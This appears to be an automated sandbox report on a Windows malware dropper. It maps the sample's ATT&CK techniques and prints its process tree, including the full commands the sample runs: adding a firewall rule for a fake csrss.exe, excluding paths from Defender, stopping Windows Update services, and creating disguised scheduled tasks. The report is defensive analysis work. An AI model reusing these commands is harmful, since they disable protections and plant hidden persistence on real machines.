djvu | abd1a529387d9e85744609e591900a12c3e6477c807a8ed8fee4e06e6fdd8861

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3016.exe

Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
4936	netsh.exe
3168	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3016.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3016.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2508097367-364665605-1201309312-1000\Control Panel\International\Geo\Nation	1AF5.exe

Deletes itself 1 IoCs

pid	Process
3264	Process not Found

Executes dropped EXE 13 IoCs

pid	Process
4880	1AF5.exe
4136	1CCB.exe
4520	3016.exe
4328	3F1B.exe
4824	4A57.exe
2208	71B6.exe
372	7755.exe
4624	InstallSetup5.exe
4128	7979.exe
3576	toolspub2.exe
2924	Broom.exe
1360	build3.exe
2036	latestX.exe

Loads dropped DLL 1 IoCs

pid	Process
4240	regsvr32.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
400	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x000800000001ab94-100.dat	themida
behavioral1/files/0x000800000001ab94-101.dat	themida
behavioral1/memory/4520-117-0x0000000001040000-0x0000000001888000-memory.dmp	themida

Accesses Microsoft Outlook profiles 1 TTPs 8 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2508097367-364665605-1201309312-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1AF5.exe
Key opened	\REGISTRY\USER\S-1-5-21-2508097367-364665605-1201309312-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powercfg.exe
Key opened	\REGISTRY\USER\S-1-5-21-2508097367-364665605-1201309312-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powercfg.exe
Key opened	\REGISTRY\USER\S-1-5-21-2508097367-364665605-1201309312-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powercfg.exe
Key opened	\REGISTRY\USER\S-1-5-21-2508097367-364665605-1201309312-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1AF5.exe
Key opened	\REGISTRY\USER\S-1-5-21-2508097367-364665605-1201309312-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1AF5.exe
Key opened	\REGISTRY\USER\S-1-5-21-2508097367-364665605-1201309312-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1AF5.exe
Key opened	\REGISTRY\USER\S-1-5-21-2508097367-364665605-1201309312-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1AF5.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3016.exe

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	api.ipify.org
94	api.2ip.ua
95	api.2ip.ua
104	api.2ip.ua
18	api.ipify.org

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4520	3016.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 372 set thread context of 2896	372	7755.exe	87

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2216	sc.exe
664	sc.exe
1356	sc.exe
1880	sc.exe
984	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	abd1a529387d9e85744609e591900a12c3e6477c807a8ed8fee4e06e6fdd8861.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4A57.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4A57.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4A57.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	abd1a529387d9e85744609e591900a12c3e6477c807a8ed8fee4e06e6fdd8861.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	abd1a529387d9e85744609e591900a12c3e6477c807a8ed8fee4e06e6fdd8861.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4960	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5012	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3084	abd1a529387d9e85744609e591900a12c3e6477c807a8ed8fee4e06e6fdd8861.exe
3084	abd1a529387d9e85744609e591900a12c3e6477c807a8ed8fee4e06e6fdd8861.exe
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
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3264	Process not Found
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3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
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3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found
3264	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3264	Process not Found

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
3084	abd1a529387d9e85744609e591900a12c3e6477c807a8ed8fee4e06e6fdd8861.exe
3264	Process not Found
3264	Process not Found
4824	4A57.exe
3264	Process not Found
3264	Process not Found

Suspicious use of AdjustPrivilegeToken 29 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeDebugPrivilege	4520	3016.exe
Token: SeDebugPrivilege	3728	powershell.exe
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeSecurityPrivilege	372	7755.exe
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found
Token: SeShutdownPrivilege	3264	Process not Found
Token: SeCreatePagefilePrivilege	3264	Process not Found

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2924	Broom.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 3264 wrote to memory of 4880	3264	Process not Found	71
PID 3264 wrote to memory of 4880	3264	Process not Found	71
PID 3264 wrote to memory of 4136	3264	Process not Found	72
PID 3264 wrote to memory of 4136	3264	Process not Found	72
PID 3264 wrote to memory of 4136	3264	Process not Found	72
PID 3264 wrote to memory of 4520	3264	Process not Found	73
PID 3264 wrote to memory of 4520	3264	Process not Found	73
PID 3264 wrote to memory of 4520	3264	Process not Found	73
PID 3264 wrote to memory of 4020	3264	Process not Found	74
PID 3264 wrote to memory of 4020	3264	Process not Found	74
PID 4020 wrote to memory of 4240	4020	regsvr32.exe	75
PID 4020 wrote to memory of 4240	4020	regsvr32.exe	75
PID 4020 wrote to memory of 4240	4020	regsvr32.exe	75
PID 3264 wrote to memory of 4328	3264	Process not Found	76
PID 3264 wrote to memory of 4328	3264	Process not Found	76
PID 3264 wrote to memory of 4328	3264	Process not Found	76
PID 3264 wrote to memory of 4824	3264	Process not Found	77
PID 3264 wrote to memory of 4824	3264	Process not Found	77
PID 3264 wrote to memory of 4824	3264	Process not Found	77
PID 4328 wrote to memory of 3728	4328	3F1B.exe	79
PID 4328 wrote to memory of 3728	4328	3F1B.exe	79
PID 4328 wrote to memory of 3728	4328	3F1B.exe	79
PID 3264 wrote to memory of 2208	3264	Process not Found	81
PID 3264 wrote to memory of 2208	3264	Process not Found	81
PID 3264 wrote to memory of 2208	3264	Process not Found	81
PID 3264 wrote to memory of 372	3264	Process not Found	82
PID 3264 wrote to memory of 372	3264	Process not Found	82
PID 3264 wrote to memory of 372	3264	Process not Found	82
PID 2208 wrote to memory of 4624	2208	71B6.exe	84
PID 2208 wrote to memory of 4624	2208	71B6.exe	84
PID 2208 wrote to memory of 4624	2208	71B6.exe	84
PID 3264 wrote to memory of 4128	3264	Process not Found	86
PID 3264 wrote to memory of 4128	3264	Process not Found	86
PID 3264 wrote to memory of 4128	3264	Process not Found	86
PID 2208 wrote to memory of 3576	2208	71B6.exe	85
PID 2208 wrote to memory of 3576	2208	71B6.exe	85
PID 2208 wrote to memory of 3576	2208	71B6.exe	85
PID 372 wrote to memory of 2896	372	7755.exe	87
PID 372 wrote to memory of 2896	372	7755.exe	87
PID 372 wrote to memory of 2896	372	7755.exe	87
PID 372 wrote to memory of 2896	372	7755.exe	87
PID 372 wrote to memory of 2896	372	7755.exe	87
PID 372 wrote to memory of 2896	372	7755.exe	87
PID 372 wrote to memory of 2896	372	7755.exe	87
PID 372 wrote to memory of 2896	372	7755.exe	87
PID 3264 wrote to memory of 3100	3264	Process not Found	88
PID 3264 wrote to memory of 3100	3264	Process not Found	88
PID 3264 wrote to memory of 3100	3264	Process not Found	88
PID 3264 wrote to memory of 3100	3264	Process not Found	88
PID 4624 wrote to memory of 2924	4624	InstallSetup5.exe	89
PID 4624 wrote to memory of 2924	4624	InstallSetup5.exe	89
PID 4624 wrote to memory of 2924	4624	InstallSetup5.exe	89
PID 2208 wrote to memory of 1360	2208	71B6.exe	110
PID 2208 wrote to memory of 1360	2208	71B6.exe	110
PID 2208 wrote to memory of 1360	2208	71B6.exe	110
PID 3264 wrote to memory of 2332	3264	Process not Found	91
PID 3264 wrote to memory of 2332	3264	Process not Found	91
PID 3264 wrote to memory of 2332	3264	Process not Found	91
PID 2208 wrote to memory of 2036	2208	71B6.exe	90
PID 2208 wrote to memory of 2036	2208	71B6.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2508097367-364665605-1201309312-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powercfg.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2508097367-364665605-1201309312-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powercfg.exe

C:\Users\Admin\AppData\Local\Temp\abd1a529387d9e85744609e591900a12c3e6477c807a8ed8fee4e06e6fdd8861.exe
"C:\Users\Admin\AppData\Local\Temp\abd1a529387d9e85744609e591900a12c3e6477c807a8ed8fee4e06e6fdd8861.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3084

C:\Users\Admin\AppData\Local\Temp\1AF5.exe
C:\Users\Admin\AppData\Local\Temp\1AF5.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
PID:4880

C:\Users\Admin\AppData\Local\Temp\1CCB.exe
C:\Users\Admin\AppData\Local\Temp\1CCB.exe
1⤵
- Executes dropped EXE
PID:4136

C:\Users\Admin\AppData\Local\Temp\3016.exe
C:\Users\Admin\AppData\Local\Temp\3016.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:4520

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\36CD.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:4020
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\36CD.dll
  2⤵
  - Loads dropped DLL
  PID:4240

C:\Users\Admin\AppData\Local\Temp\3F1B.exe
C:\Users\Admin\AppData\Local\Temp\3F1B.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4328
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3728
- C:\Users\Admin\AppData\Local\Temp\3F1B.exe
  "C:\Users\Admin\AppData\Local\Temp\3F1B.exe"
  2⤵
  PID:3088
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:2356
- - C:\Windows\System32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    PID:908
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:3168
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:4352
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:2368

C:\Users\Admin\AppData\Local\Temp\4A57.exe
C:\Users\Admin\AppData\Local\Temp\4A57.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4824

C:\Users\Admin\AppData\Local\Temp\71B6.exe
C:\Users\Admin\AppData\Local\Temp\71B6.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe
  "C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Users\Admin\AppData\Local\Temp\Broom.exe
    C:\Users\Admin\AppData\Local\Temp\Broom.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:2924
- C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
  2⤵
  - Executes dropped EXE
  PID:3576
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    PID:1364
- C:\Users\Admin\AppData\Local\Temp\latestX.exe
  "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe
  "C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"
  2⤵
  PID:1360
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:1528
- - C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe
    "C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"
    3⤵
    PID:3800
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:3772
  - - C:\Windows\System32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:3728
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:4936
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:1368
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:2724
  - - C:\Windows\rss\csrss.exe
      C:\Windows\rss\csrss.exe
      4⤵
      PID:4664

C:\Users\Admin\AppData\Local\Temp\7755.exe
C:\Users\Admin\AppData\Local\Temp\7755.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:372
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:2896

C:\Users\Admin\AppData\Local\Temp\7979.exe
C:\Users\Admin\AppData\Local\Temp\7979.exe
1⤵
- Executes dropped EXE
PID:4128
- C:\Users\Admin\AppData\Local\Temp\7979.exe
  C:\Users\Admin\AppData\Local\Temp\7979.exe
  2⤵
  PID:3464
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\2841d4a2-7276-4208-88de-f5eccaf62d8a" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:400
- - C:\Users\Admin\AppData\Local\Temp\7979.exe
    "C:\Users\Admin\AppData\Local\Temp\7979.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:4568
  - - C:\Users\Admin\AppData\Local\Temp\7979.exe
      "C:\Users\Admin\AppData\Local\Temp\7979.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:4156
    - - C:\Users\Admin\AppData\Local\2830367f-19d4-4d71-b763-0002f3a72c94\build2.exe
        
        "C:\Users\Admin\AppData\Local\2830367f-19d4-4d71-b763-0002f3a72c94\build2.exe"
        5⤵
        
        PID:4960
      - C:\Users\Admin\AppData\Local\2830367f-19d4-4d71-b763-0002f3a72c94\build2.exe
        
        "C:\Users\Admin\AppData\Local\2830367f-19d4-4d71-b763-0002f3a72c94\build2.exe"
        6⤵
        
        PID:3228
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\2830367f-19d4-4d71-b763-0002f3a72c94\build2.exe" & del "C:\ProgramData\*.dll"" & exit
        7⤵
        
        PID:2224
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        8⤵
        Delays execution with timeout.exe
        
        PID:5012
    - - C:\Users\Admin\AppData\Local\2830367f-19d4-4d71-b763-0002f3a72c94\build3.exe
        
        "C:\Users\Admin\AppData\Local\2830367f-19d4-4d71-b763-0002f3a72c94\build3.exe"
        5⤵
        
        PID:4576
      - C:\Users\Admin\AppData\Local\2830367f-19d4-4d71-b763-0002f3a72c94\build3.exe
        
        "C:\Users\Admin\AppData\Local\2830367f-19d4-4d71-b763-0002f3a72c94\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:1360
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4960

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3100

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:1760

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:4336
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2216
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:664
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1356
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:1880
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:984

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:5108
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:2748
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  - Accesses Microsoft Outlook profiles
  - outlook_office_path
  - outlook_win_path
  PID:3100
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:2708
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:3564

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:4976

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery